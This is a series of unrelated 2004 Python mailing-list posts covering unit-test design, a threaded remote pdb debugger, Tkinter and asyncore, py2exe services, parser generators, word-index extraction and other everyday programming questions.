Hi all ya unit-testing experts there :)

Code I'm working on has to parse large and complex files and detect
equally complex and large amount of errors before the contents of the file
is fed to module interpreting it. First I created a unit-test class named
TestLoad which loaded, say, 40 files of which about 10 are correct and
other 30 files contained over 20 different types of errors. Different
methods on the TestLoad class were coded so that they expected the
spesific error to occur. They looked like the following:

def test_xxx_err(self):
    for fname in xxx_err_lst:
       self.assertEqual(get_load_status(fname), xxx)

However, now we've added several more tests and we have added another
function to the system - the ability to try loading the file without
actually executing instructions in it. So, I added another class
TestValidate, which has exactly the same tests as the TestLoad class, the
only difference being in the routine get_load_status, which is not
get_load_status but get_validate_status.

I thought I'd simplify the process of adding new tests - if it is too
cumbersome to add new tests, we'll end up with having few tests which in
turn will result in more buggy software system. 

Thus I came up with the simple idea of adding two directories:
test/correct-files and test/incorrect-files. Every time the test suite is
run, it goes through every file in the test/correct-files and
test/incorrect-files and expects to receive status 0 from all files under
correct-files, and appropriate error code from all files under
test/incorrect-files. How does it deduce the correct error code? Well,
I've forced things to that any file in the test/incorrect-files must
begin with code prefix 'xx-' in the file name, and the test suite reads
expected error code from the file name prefix. 

All this allows me to have only two methods (in addition to setUp and
tearDown methods) in TestLoad and TestValidate classes, and what's more
convenient - I don't have to alter unit test suite at all when I add new
file tests to the system; all I have to do is to put it under either
directory, and if the file contains an error, I prefix the file name with
appropriate code.

The system has but one annoyance: first, if I use self.assertEqual in the
test_load method, it aborts on the first error found and as such doesn't
test all the other files. This would be bad, because when errors occur in
the code, I have to fix them one by one running test suite after every fix
to find other potential errors in the system. 

So I changed the test_load routine by replacing self.assertEqual with my
own code which won't abort the test if errors are found, but it will
report them with sufficient verbosity and continue testing. But this
approach isn't optimal either: because there is no self.assertEqual in the
test anymore, there may be many errors in the test class but after running
all the methods, the test suite will report OK status, even though errors
did occur.

The problem I described above shows probably one of the best reasons why
each test method should test only one (type of) thing, but in my special
case I don't find that appropriate due to aforementioned reasons. Any
suggestions? I was wondering about creating test methods dynamically
according to the files found in the test directories (which would solve
all the problems), but I find it a tad too complex way of solving the
problem. 

-- 
# Edvard Majakari		Software Engineer
# PGP PUBLIC KEY available    	Soli Deo Gloria!

$_ = '456476617264204d616a616b6172692c20612043687269737469616e20'; print
join('',map{chr hex}(split/(\w{2})/)),uc substr(crypt(60281449,'es'),2,4),"\n";



From llothar at web.de  Sat Feb 21 18:54:18 2004
From: llothar at web.de (Lothar Scholz)
Date: 21 Feb 2004 15:54:18 -0800
Subject: Perl 6: every concept known to computers is in there
References: <mailman.98.1077274295.27104.python-list@python.org>
Message-ID: <6ee58e07.0402211554.6c32b3ab@posting.google.com>

Wayne Folta <wfolta at netmail.to> wrote in message news:<mailman.98.1077274295.27104.python-list at python.org>...
> I hadn't really followed the state of perl for quite a few years. When 
> Irecently found python, it just suited me and now I've switched. (And 
> am contributing to an open-source python project. Great fun!)
> 
> Someone here mentioned perl 6, so I decided to look in on it and all I 
> can say is it looks like every concept from every computer course, 
> article, and book is now included.

But this is not a positive thing. 
For example i love eiffel because it only has one loop construct. 
You can write a song with 10000 notes but normally it will not sound good.


From nir1408 at hotmail.com  Sun Feb 22 19:15:41 2004
From: nir1408 at hotmail.com (Ziaran)
Date: Mon, 23 Feb 2004 02:15:41 +0200
Subject: Where can I post a new debugger?
References: <mailman.160.1077453987.27104.python-list@python.org><6ee58e07.0402221348.46171b05@posting.google.com><40392479@news.bezeqint.net>
	<mailman.176.1077492929.27104.python-list@python.org>
Message-ID: <4039464f@news.bezeqint.net>

Fran?ois,

I did not mean to piss you off.

I like URLs, they are so easy to click, and there is always the possibility
for pleasant surprises inside.



Allow me to correct myself. I hope people will find my pdb debugger
modification useful.



I started learning Python 3 weeks ago, and was trying to implement an
academic exercise for that purpose, but alas I had a bug in my
implementation, and trying to debug it I soon found out that Idle does not
break on breakpoints that are crossed by non-main threads. I tried pdb too
and found that for different reasons it was not suitable for that task
either. And then two nights of web searching did not bring me any closer to
a life-saving debugger (and believe me that if I ever learned anything in
the respectable software engineering company I work for, it is web surfing.
I might say I am one of the world-wide-best in that area). So, anyway, I
decided do modify pdb for my needs.



I am fond of source-level text debuggers.

They are usually much more powerful than GUI based debuggers, and I saw that
pdb has some great features.



I think my modification takes pdb closer to its potential, however modest it
may be. It helped me find my bug in no time, and I know Python much better
than when I started, too.



For a somewhat more technical explanation, let me quote from the __doc__



"A remote debugger for Python 2.3.3



This is a modification of pdb.py to allow remoting of the debugger IO to a
seperate server process, and support convenient debugging of multiple
threads.



    New debugger commands:

        ts (Thread Set) - Set debugger focus to a specific thread, or list

            active threads.

        tc (Thread Command) - Send command to a specific thread.

        bn (Break Now) - Break all threads immediately, or as soon as they

            return to execute python code.

        save - Save breakpoints of the current debug session.

        load - Load breakpoints of the current debug session.



    Other improvements:

        Post mortem on unhandled exceptions.

        Debugger starts in right frame.



To debug a thread (except the main thread):



1. Place the statement 'rpdb.set_trace()' as the first statement in the
run() method of your thread. This statement will be ignored if the script
was not invoked by the debugger, so it can remain in the code.



2. When execution reaches that statement the debugger will break and the
debugger-server will report the new thread."



And here is the link again; hoping this time people in need will believe it
worth while to click:

http://ziaran.freehosting.net



Yours,

Nir (Ziaran)



"Fran?ois Pinard" <pinard at iro.umontreal.ca> wrote in message
news:mailman.176.1077492929.27104.python-list at python.org...
> > "Ziaran _" <nir1408 at hotmail.com> wrote in message
> > > I have written a new debugger.
> > > I think people will find it useful.

> "Lothar Scholz" <llothar at web.de> wrote in message
> > What is so different from the existing ones ?

[Ziaran]
> http://ziaran.freehosting.net/

An URL is hardly an explanation, and alone, hardly an English sentence.
People should not have to start a browser merely to figure out an email.

You think people will find your new debugger useful?  Good for you!
Now, if you want us to think the same, you should tell us a little more.
Once interested, then we may start a browser :-).

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From george.trojan at noaa.gov  Wed Feb 11 14:11:58 2004
From: george.trojan at noaa.gov (george.trojan at noaa.gov)
Date: Wed, 11 Feb 2004 19:11:58 +0000
Subject: tkinter, threads and asyncore together
Message-ID: <402A7E7D.C423D056@noaa.gov>

My application consists of Tkinter GUI that has to communicate with a
remote
server. The communication is bi-directional: the GUI responds to remote
requests and user actions uch as pressing a button) should send messages

to the server. I want to have the network interface implemented as a
separate
thread, as it may take a while to proccess incoming messages. My initial
approach is the following

 ------   Queue   --------------------
|      | <------ |      asyncore      |        socket
| GUI  |    ?    |dispatcher_with_send| <------------------>  server
|      | ------> |                    |
 ------           --------------------

My question is how to communicate with asyncore (to send a message, or
end the thread)? I started with creating an additional dispatcher class
using unix domain socket, but is seems wrong, why use sockets within the
same process? I might try file_dispatcher around a pipe, but maybe I
should use different design altogether.

George



From joshway_without_spam at myway.com  Tue Feb 17 11:48:23 2004
From: joshway_without_spam at myway.com (JCM)
Date: Tue, 17 Feb 2004 16:48:23 +0000 (UTC)
Subject: Parsers with Python
References: <mailman.65.1077031094.31398.python-list@python.org>
Message-ID: <c0tgkn$ob3$1@fred.mathworks.com>

Daniel Carrera <dcarrera at math.umd.edu> wrote:
...
> Can anyone recommend a parser generator for Python?  I have been 
> programming for a few years, but I have never made a parser.  I only have 
> a vague notion of what a lexer and a grammar are.  Is there a resource 
> that you might recommend?

I've had good luck with PLY (http://systems.cs.uchicago.edu/ply/).


From dontbotherworld at yahoo.com  Sun Feb 22 19:54:12 2004
From: dontbotherworld at yahoo.com (dont bother)
Date: Sun, 22 Feb 2004 16:54:12 -0800 (PST)
Subject: Help With EOF character and regular expression matching: URGENT
In-Reply-To: <20040222162104.291521964.eric@zomething.com>
Message-ID: <20040223005412.91882.qmail@web60806.mail.yahoo.com>

Hi Eric,
Thanks for your help.
But I had fixed the problem myself by using a
combination of fseek and ftell. I am attaching the
code. I am a new bie so figuring out things with
python.
Currently I have one problem and I dont know if there
are any good ways to solve it in python:

I want to create a dictionary of words out of the spam
datasets and legitimate email datasets. While I can
extract each and every word from the spam and
legitimate emails it is not advisable to do so. I want
to strip off the headers,
like:
To
From
Returned Path
etc...
and also the characters that are not ASCII and also
the characters that are between <> so as to avoid HTML
Tags.
I have zero experience with regular expressions
but if you or some one can give me an idea/snippet I
think I can make it work.
Also while I can write the words extracted to a file
what are the advisable ways to associate them with the
index? Also I want to avoid writing in the dictionary
the same 2 words with different indexes?
Any help is highly appreciated...
Thanks,
Sincerely
Dont


--- "Eric @ Zomething" <eric at zomething.com> wrote:
> dont bother wrote:
> 
> > 
> > Hi Buddies,
> > I am facing this problem and I dont know what to
> use
> > as EOF in python:
> > I want to read a file, and put all the individual
> > words in a dictionary with their index:
> > For example if the file is:
> > 
> > Hello there I am doing fine
> > How are you?
> > 
> > So I want to make an index like this:
> > 
> > 1 Hello
> > 2 there
> > 3 I
> > 4 am
> > 5 doing
> > 6 fine
> > 7 How
> > 8 are
> > 9 you
> > 10 ?
> > 
> > In order to do this: I have written a small code
> which
> > is here:
> >
>
-------------------------------------------------------
> > # python code for creating dictionary of words
> from an
> > #input file
> >
>
------------------------------------------------------
> > 
> > import os
> > import sys
> > try:
> >         fread = open('training_data', 'r')
> > except IOError:
> >         print 'Cant open file for reading'
> >         sys.exit(0)
> > print 'Okay reading the file'
> > s=""
> > a=fread.read(1)
> > while (a!="\003"):
> > #while 1:
> >                 s=s+a
> > 
> 
> <snip>
> 
> Dont, I think you want to iterate over your file,
> rather than look for an EOF marker, unless you have
> a technical reason not to.
> 
> I'll leave it to someone else to provide a better
> solution, but here is a Q&D newbie approach to a
> text file break-out of words:
> 
> >>> fileOne=open('C:\\testfile.txt')
> >>> fileString=fileOne.read()
> >>> print fileString
> Hello there I am doing fine
> How are you?
> >>> wordString=fileString.replace('\n',' ')
> >>> print wordString
> Hello there I am doing fine How are you? 
> >>> wordList=wordString.split(' ')
> >>> print wordList
> ['Hello', 'there', 'I', 'am', 'doing', 'fine',
> 'How', 'are', 'you?', '']
> 
> HTH,
> 
> Eric
> 
> --
> http://mail.python.org/mailman/listinfo/python-list

__________________________________
Do you Yahoo!?
Yahoo! Mail SpamGuard - Read only the mail you want.
http://antispam.yahoo.com/tools
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From deets_noospaam at web.de  Sun Feb 15 13:04:50 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Sun, 15 Feb 2004 19:04:50 +0100
Subject: Webware / localhost vs. real IP address
References: <m88v2095n13d9v234ska33t29ob9of5hiu@4ax.com>
Message-ID: <c0occ2$uoe$04$1@news.t-online.com>

Hi,

> If I point my Opera to 127.0.0.1:8080, all works well. If I do the same
> with 192.168.1.2:8080, which should be the same, it says 'could not
> connect to remote server'.

> 
> Any clues?

Yes - sockets that are connected to '' listen to all local addresses, while
localhost listens only to 127.0.0.1 - this is somewhat misleading described
in the socket module. So I guess you should configure webware in a way that
its listening on '', not on localhost.

-- 
Regards,

Diez B. Roggisch


From kylotan at hotmail.com  Fri Feb  6 18:15:10 2004
From: kylotan at hotmail.com (Kylotan)
Date: 6 Feb 2004 15:15:10 -0800
Subject: Warnings killing my performance
References: <153fa67.0402060933.13840e8c@posting.google.com>
Message-ID: <153fa67.0402061515.7eb69755@posting.google.com>

The 'or' in "x = int(x | 0xFFFF)" was obviously meant to be an 'and',
before anybody chooses to point it out. :)

-- 
Kylotan


From tim.golden at viacom-outdoor.co.uk  Mon Feb  2 04:48:39 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 2 Feb 2004 09:48:39 -0000 
Subject: wxPyAtol
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E44346B4@tdi_nt9.internal.viacom-outdoor.co.uk>

>From: Francesco [mailto:scrutinizer at gmx.at]

[... snip announcement of wxPyAtol ...]

>
>Maybe someone could help me and give me some pointers:
>In the source, it is marked with todo.
>for example to retrieve the imagelist from Windows fileextensions
>self.m_hImageList = windll.shell32.SHGetFileInfo('.txt',
>win32file.FILE_ATTRIBUTE_NORMAL, byref(shfileinfo),
>sizeof(shfileinfo), dwFlags)
>How can I get this in python?

I'm a little confused. I've run the app, but I can't see
how to invoke the code which uses the CImageList class.
I'm assuming that it would be displayed the image within
a file beside the filename and so on.

You obviously know what you're about with respect to
Win32 Shell functions and so on, and you're obviously
using ctypes (and calldll) already. So which bit is
it that doesn't work? Or what happens when you try?

To answer what I think your question is: there's no
other way in Python at the moment to extract the
image from a file (apart from an insane attempt to
open arbitrary files and look for byte-patterns!).
win32all doesn't wrap SHGetFileInfo, so ctypes / calldll
is your only way.

Can you explain any more?

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________



From peter.teniz at inverisa.net  Wed Feb 11 12:26:45 2004
From: peter.teniz at inverisa.net (Peter Teniz)
Date: Wed, 11 Feb 2004 17:26:45 +0000
Subject: py2exe failed for running compiled service
Message-ID: <402A65D5.4020906@inverisa.net>

hi, i'm trying to generate a service for win XP / win 2k with
python2.3.3 + win32all-163 + py2exe0.5.0
(also tried with pywin32-200.win32-py2.3)

running the console-script "FBxmlserv.py" with python-interpreter and as
EXE-prog goes well.
running the service-module "FBservice.py" with python-interpreter also
works fine
but after comiling with py2exe (with no warnings or errors!)  i get on
every host the same error message
when trying to execute the FBservice.exe

 > FBservice.exe
Connecting to the Service Control Manager
Traceback (most recent call last):
    File "boot_service.py" line 158, in ?
pywintypes.error: (1063, 'StartServiceCtrlDispatcher', 'Der
Dienstprozess konnte keine Verbindung zum Dienstcontroller herstellen.')

has anyone an idee, what to do?

thanks



my "setup.py" script:

>from distutils.core import setup
>import py2exe
>import sys
>
>if len(sys.argv) < 2:
>    sys.argv.append ( "py2exe" )
>    sys.argv.append ( "--verbose" )
>    sys.argv.append ( "--packages" )
>    sys.argv.append ( "encodings" )
>    #sys.argv.append ( "-q" )           # be quiet
>
>class Target:
>    def __init__ (self, **kw):
>        self.__dict__.update ( kw )
>
>        # for versioninfo resources
>        self.version      = "0.9.0"
>
>FBserver  = Target (
>        description       = "firebird backend server",
>        script            = "FBxmlserv.py",
>    )
>
>FBservice = Target (
>        description       = "firebird windows nt service",
>        modules           = ["FBservice"],
>    )
>
>excludes = [ "pywin.debugger.dbgcon", "pywin.dialogs",
"pywin.dialogs.list" ]
>
>setup (
>    options   = { "py2exe" : {
>                        "compressed" : 1,
>                        "optimize"   : 2,
>                        "excludes"   : excludes
>                    }
>                },
>                zipfile = "lib/shared.zip",
>                service = [FBservice],
>                console = [FBserver],
>    )






From michele.simionato at poste.it  Sun Feb 29 04:53:53 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 29 Feb 2004 01:53:53 -0800
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
	<5cac69b0da18e0271a10151097ca539c.46955@mygate.mailgate.org>
	<Fz30c.7220$TF2.5832@nwrdny02.gnilink.net>
Message-ID: <95aa1afa.0402290153.33f63f7e@posting.google.com>

"Chris" <feb04.20.netman at spamgourmet.com> wrote in message news:<Fz30c.7220$TF2.5832 at nwrdny02.gnilink.net>...
> I need to know how I can do what I previously demonstrated with an old style
> class, that is hook into Python's introspection mechanism to dynamically
> provide an  __int__ method (or optionally __str__, __lt__, __le__, __eq__
> ,__ne__, __gt__, __ge__, __len__, __getitem__, __add__, __sub__, __mul__,
> __floordiv__, __mod__, __divmod__, __pow__, __lshift__, ... ad nausuem).
> Old style classes will let me do this, but I cannot determine how to do this
> with new style classes.
> 
> Chris

You may want to look at this thread:

http://groups.google.it/groups?hl=it&lr=&ie=UTF-8&threadm=2259b0e2.0311240603.549943b3%40posting.google.com&rnum=1&prev=/groups%3Fhl%3Dit%26lr%3D%26ie%3DISO-8859-1%26q%3Dinnermethods%26meta%3Dgroup%253Dcomp.lang.python.*

It does not solve your problem, but it may be of some interest.

           Michele Simionato


From paul at prescod.net  Fri Feb 20 13:32:02 2004
From: paul at prescod.net (Paul Prescod)
Date: Fri, 20 Feb 2004 10:32:02 -0800
Subject: Python Productivity Gain?
In-Reply-To: <36wllmxwr6y.fsf@goya02.ti.uni-mannheim.de>
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>	<mailman.86.1077050210.31398.python-list@python.org>	<a8623416.0402181148.20865556@posting.google.com>	<xqxbrnvbhvk.fsf@cola2.ca.boeing.com>	<36wvfm2hy2y.fsf@goya03.ti.uni-mannheim.de>	<xqxk72i6pcv.fsf@cola2.ca.boeing.com>
	<36wllmxwr6y.fsf@goya02.ti.uni-mannheim.de>
Message-ID: <403652A2.5060308@prescod.net>

Matthias wrote:

>...
> 
> I checked the first 30 out of the 16,000 pages found.  It is about
> what I expected: Mostly advertisement for products and "solutions".
> Maybe one of the pages might qualify as an empirical study.  
> 
> This industry is on a random walk... ;-))

Despite the smiley I think it is worth putting this in perspective. Take 
a random language implementation from 1975 and try implementing 
something in it. I think that you will find strong anecdotal evidence 
that Things Are Getting Better. It is a frustratingly slow and 
inefficient but one that nevertheless seems to move in the right direction.

  Paul Prescod





From elainejackson7355 at home.com  Sat Feb 14 16:49:59 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Sat, 14 Feb 2004 21:49:59 GMT
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<f70e3538.0402131412.6103d116@posting.google.com>
	<XtcXb.493232$ts4.254427@pd7tw3no>
	<f70e3538.0402131956.3617cde4@posting.google.com>
Message-ID: <bKwXb.502978$ts4.399459@pd7tw3no>

That's got it. Thanks very much.

"Lonnie Princehouse" <fnord at u.washington.edu> wrote in message
news:f70e3538.0402131956.3617cde4 at posting.google.com...
| "Elaine Jackson" <elainejackson7355 at home.com> wrote in message
news:<XtcXb.493232$ts4.254427 at pd7tw3no>...
| > "Lonnie Princehouse" <fnord at u.washington.edu> wrote in message
| > news:f70e3538.0402131412.6103d116 at posting.google.com...
| >
| > | This isn't quite an answer to your question, but I've got exactly such
| > | a Tkinter chessboard.  It's only half-finished (I have a short
| > | attention span for projects!), but it might give you some ideas:
| > |
| > | http://magicpeacefarm.com/lonnie/chessboard.tar.gz
| >
| > This won't unzip for me. I get a message that says "Error reading header
after
| > processing 0 entries".
|
| Ah, the joys of Windows!   I'll put up a zipped version-
|
| http://magicpeacefarm.com/lonnie/chessboard.zip
|
| I've noticed that Windows likes to add another ".tar" when it
| downloads tar/gzipped archives, and at least Winzip can't figure it
| out.  You can usually fix this by renaming the file to have a
| ".tar.gz" extension instead of ".tar.gz.tar".  This isn't at all
| obvious if you have show-extensions turned off.
|
| -L




From crescent_au at yahoo.com  Sun Feb  8 05:36:25 2004
From: crescent_au at yahoo.com (Ben)
Date: 8 Feb 2004 02:36:25 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
	<d99e1341.0402061439.1f8cebc9@posting.google.com>
	<c01p9a$olv$1@news.service.uci.edu>
	<d99e1341.0402070536.25157d73@posting.google.com>
	<c03its$emc$1@news.service.uci.edu>
Message-ID: <d99e1341.0402080236.79d3d939@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c03its$emc$1 at news.service.uci.edu>...
> 
> If you know Dreamweaver, Python, Java, JavaScript, and CGI using Python, 
> C, and C++, and you /don't know/ how/where to get started on your 
> project...that is some serious indecision.  Pick your favorite language, 
> and write your app.

Yes I must admit I'm not a perfect human! That's why newsgroups like
this are invented to help each other and to learn... I know certain
things but not everything there is to do about web design... No one is
born with all the skills. We all learn sooner or later... And this is
just my attempt to know something that I don't know! If someone refer
to this as "serious indecision", then so be it! I got nothing to
say....

> 
> Two years is a lot of time to dedicate to something that has been 
> implemented hundreds of times.
> 

Yeah, it'd still be much much better to spend 2 years to complete a
task rather than using a ready-made photo gallery... That was just my
comparison when I mentioned "2 years"... Obviously, it can be done
much earlier than that :)

Ben


From usenet_spam at janc.invalid  Thu Feb 26 22:21:13 2004
From: usenet_spam at janc.invalid (JanC)
Date: Fri, 27 Feb 2004 03:21:13 GMT
Subject: wxWindows changes name
References: <wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
	<mailman.57.1077648520.8594.python-list@python.org>
Message-ID: <Xns949C2C4A0294AJanC@213.119.4.35>

"Terry Reedy" <tjreedy at udel.edu> schreef:

> Anyway, I have the impression (possibly
> wrong) that WxWindows started out to be compatible with and a clone of
> and was originally named after MS Windows, while the X Window system
> preceeds MSW, so that the cases (and possible court outcomes) are
> different. 

wxWindows started as a cross platform C++ GUI library for "_W_indows" and 
the "_X_ Window System".  That's where the "w" & "x" come from.

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From t-meyer at ihug.co.nz  Thu Feb  5 21:08:25 2004
From: t-meyer at ihug.co.nz (Tony Meyer)
Date: Fri, 6 Feb 2004 15:08:25 +1300
Subject: Big O of sets
In-Reply-To: <1ED4ECF91CDED24C8D012BCF2B034F1304FC35EE@its-xchg4.massey.ac.nz>
Message-ID: <1ED4ECF91CDED24C8D012BCF2B034F13026F2A92@its-xchg4.massey.ac.nz>

Alex Martelli's excellent Nutshell book has a handy little section outlining
the Big O notation of various common Python operations (x in dict and
list.append(x), for example).  Can anyone point me to equivalents for the
Python 2.3 sets.[Immutable]Set operations?

I know that I could figure these myself from either timing or reading the
code, but it'd be nice if someone's already done this :)  Either googling
can't find it, or (more likely), I'm not thinking of the right search terms.

In particular, I'm interested in intersection, union and > (proper subset),
and of ImmutableSets, rather than Sets.

Thanks!

=Tony Meyer




From guillermo.fernandez at epfl.ch  Mon Feb  9 06:51:39 2004
From: guillermo.fernandez at epfl.ch (Guillermo Fernandez Castellanos)
Date: Mon, 09 Feb 2004 12:51:39 +0100
Subject: how to pass scripts to python -c
In-Reply-To: <75765317.0402072221.644f364f@posting.google.com>
References: <75765317.0402072221.644f364f@posting.google.com>
Message-ID: <4027744b$1@epflnews.epfl.ch>

Oh! I found another version:

#### pycat.py ####
#!/usr/bin/env python
import sys
if len(sys.argv)==1:
     while(1):
         readed=sys.stdin.read(1)
         sys.stdout.write(readed)
else:
     for files in sys.argv[1:]:
         filed=file(files,'r')
         readed=filed.read()
         sys.stdout.write(readed)


Don't ask me why you must put read(1) and not simply read(), it works, and I'm 
happy :-)
But if someone could explain me why it works, it would be cool.

Regards,

Guille

Daniel Kramer wrote:
> what are the formatting rules to passing python commands to the python
> command line?  I've tried the following, which works:
> 
> echo hello | python  -c "import sys; print sys.stdin.read()[:4]"
> 
> I'm actually trying to shell out of another scripting lang that's not
> very good at string parsing to have python do some work.. the only
> problem is this other lang doesn't like the ";" in my python command
> string and fails.  Is there another notation I can use on a single
> line to tell python that there is a line break?
> 
> I tried:
> echo hello | python  -c "import sys\n print sys.stdin.read()[:4]"
> 
> but that doesn't work
>  
> any suggestions? 
> 
> thanks 
> 
> daniel


From miki.tebeka at zoran.com  Thu Feb 19 08:57:15 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 19 Feb 2004 05:57:15 -0800
Subject: [Announce] pyobfuscate
References: <mailman.64.1077030517.31398.python-list@python.org>
	<38b675a9.0402181901.411574d8@posting.google.com>
	<c11lue$rba$1@news.service.uci.edu>
Message-ID: <4f0a9fdb.0402190557.28303264@posting.google.com>

Hello Josiah,

> Have you thought about becoming a mad computer scientist?  I think you'd 
> do well.
You can view many more ideas like that in:
http://mindprod.com/unmain.html

Which is an amazing site to learn what *not* to do.

Miki


From __peter__ at web.de  Fri Feb 13 19:47:03 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 14 Feb 2004 01:47:03 +0100
Subject: Maintaining a list
References: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>
Message-ID: <c0jr67$f41$04$1@news.t-online.com>

Thomas Philips wrote:

> I'm teaching myself programming using Python and want to build a list
> inside a function (rather like using a static variable in a Fortran
> subroutime - the list must not disappear as soon as the subroutine is
> exited). What's the simplest way to do this?
> 
> I'd like to write something of the form
> def myroutine(x)
>     mylist = mylist.append(x)

append() returns None

>     print mylist
>     .
>     .
>     return
> 
> I'd like to call myroutine over and over again from a main program,
> and want it to display the following behavior
> 
> 1. The first time myroutine is called
> myroutine("Item 1")
> ["Item 1"]
> 
> 2. The second time myroutine is called
> myroutine("Item 2")
> ["Item 1", "Item 2"]
> 
> 3. The third time myroutine is called
> myroutine("Item 3")
> ["Item 1", "Item 2", "Item 3"]
> 
> etc. etc.
> 
> The list must be initialized to an empty list before the first call,
> and must be preserved between calls. I have not got to object oriented
> programming as yet, so please keep the solution simple.
> 
> Sincerely
> 
> Thomas Philips

You're lucky, what you desired as a feature is a common pitfall: default
parameters are only initialized once:

>>> def myroutine(item, lst=[]):
...     lst.append(item)
...     return lst
...
>>> myroutine("item1")
['item1']
>>> myroutine("item2")
['item1', 'item2']
>>> myroutine("item3")
['item1', 'item2', 'item3']
>>> myroutine("item4")[:] = []
>>> myroutine("item5")
['item5']
>>> myroutine("item6")
['item5', 'item6']

This is just a rare case where you can use a mutable object as a default
argument. When you don't want to provide the possibility to change the list
from outside the function, just return a copy of it:

>>> def myroutine(item, lst=[]):
...     lst.append(item)
...     return lst[:]

Peter


From mcfletch at rogers.com  Sat Feb 28 05:31:24 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Sat, 28 Feb 2004 05:31:24 -0500
Subject: Publish/Subscribe Lib for Python?
In-Reply-To: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
Message-ID: <40406DFC.6030903@rogers.com>

Look to Twisted Matrix or possibly Spread (with Python).  Quick google 
search for either should help.

Enjoy,
Mike

Adrian B. wrote:

>Does anyone know of a framework or library that will enable me to use
>publish/subscribe comms?  I want to create a server (using Python)
>running on a Unix box that will accept client connections (from GUIs
>built with wxPython) and publish realtime data updates to them.  Any
>advice on where to start?
>
>Thanks.
>A.B.
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From augusto at omnitec.it  Wed Feb 11 11:43:08 2004
From: augusto at omnitec.it (Augusto)
Date: 11 Feb 2004 08:43:08 -0800
Subject: Principiante in cerca di spiegazione!
Message-ID: <72eeefd4.0402110843.115a8e60@posting.google.com>

Ciao a tutti,
premetto a tutti che st? imparando proprio adesso a studiare python ed
ho il seguente problema ... questo script copiato pari pari da un
tutorial mi rid? un'errore che non capisco.. questo ? il codice:

from Tkinter import *       # importo il modulo

# costruisco una mia classe che gestisce la finestra
class Application(Frame):

    # metodo che scrive un messaggio a video
    def scrivi_messaggio(self):
		self.mess["text"] = "Ciao a tutti!",

    # metodo che pulisce il messaggio a video
    def cancella_messaggio(self):
		self.mess["text"] = "",

    # metodo costruttore che crea gli oggetti grafici
    def __init__(self, master=None):
		f = Frame(master)
		f.pack()

    # crea il bottone di uscita (di colore rosso)
    self.esci = Button(f)
    self.esci["text"] = "QUIT"
    self.esci["fg"]   = "red"
    self.esci["command"] =  f.quit
    self.esci.pack({"side": "left"})

    # crea il bottone che permette di scrivere il messaggio
    self.butt_mess = Button(f)
    self.butt_mess["text"] = "Scrivi",
    self.butt_mess["command"] = self.scrivi_messaggio
    self.butt_mess.pack({"side": "left"})

    # crea il bottone che permette di pulire il messaggio
    self.butt_canc_mess = Button(f)
    self.butt_canc_mess["text"] = "Cancella",
    self.butt_canc_mess["command"] = self.cancella_messaggio
    self.butt_canc_mess.pack({"side": "left"})

    # crea l'oggetto grafico che contiene il messaggio
    self.mess = Message(f)
    self.mess["text"] = "",
    self.mess.pack({"side": "left"})


# corpo principale del programma
finestra = Tk()
app = Application(finestra)
finestra.mainloop()

e mi ritorna un'errore come: 

Traceback (most recent call last):
  File "C:/Python23/tests/tkinter.py", line 4, in -toplevel-
    class Application(Frame):
  File "C:/Python23/tests/tkinter.py", line 20, in Application
    self.esci = Button(f)
NameError: name 'f' is not defined

?? Eppure la var f ? definita nell' _INIT_  

qualcuno mi s? spiegare perch??

Grazie in anticipo!

Augusto


From paul at prescod.net  Mon Feb  9 18:32:22 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 09 Feb 2004 15:32:22 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <402806A4.6020502@v.loewis.de>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>
	<4027EAC5.2090603@prescod.net> <402806A4.6020502@v.loewis.de>
Message-ID: <40281886.4090809@prescod.net>

Martin v. L?wis wrote:

> Paul Prescod wrote:
> 
>> I wonder if the proposal would be more palatable if it were restricted 
>> to 8-bit encodings (what we used to call "code pages"). This is at 
>> least a first step in the right direction that would help westerners 
>> and could be made to work even if Python were compiled without Unicode 
>> support. (it is still possible to compile Python without Unicode isn't 
>> it?)
> 
> 
> I doubt that it would matter much to those currently opposed; I know
> that *I* would be opposed to such a strategy: Allowing arbitrary source
> code encoding is no technical challenge whatsoever, and restricting
> it to single-byte encodings is an arbitrary restriction.

You are right. Re-reading Guido's complaint I understand what you mean. 
But I have heard the argument in the past that Unicode source files 
would break introspection tools. If that isn't a concern this time 
around then disregard my suggestion.

  Paul Prescod





From andreas.lobinger at netsurf.de  Thu Feb 19 10:23:50 2004
From: andreas.lobinger at netsurf.de (Andreas Lobinger)
Date: Thu, 19 Feb 2004 16:23:50 +0100
Subject: Generating a large random string
Message-ID: <4034D506.2E37519A@netsurf.de>

Aloha,
i wanted to ask another problem, but as i started to build an example...

How to generate (memory and time)-efficient a string containing
random characters? I have never worked with generators, so my solution 
at the moment is:

import string
import random
random.seed(14)
d = [random.choice(string.letters) for x in xrange(3000)]
s = "".join(d)
print s

which is feasible for the 3000, but i need lengths in the range 
10.000 to 1.000.000.

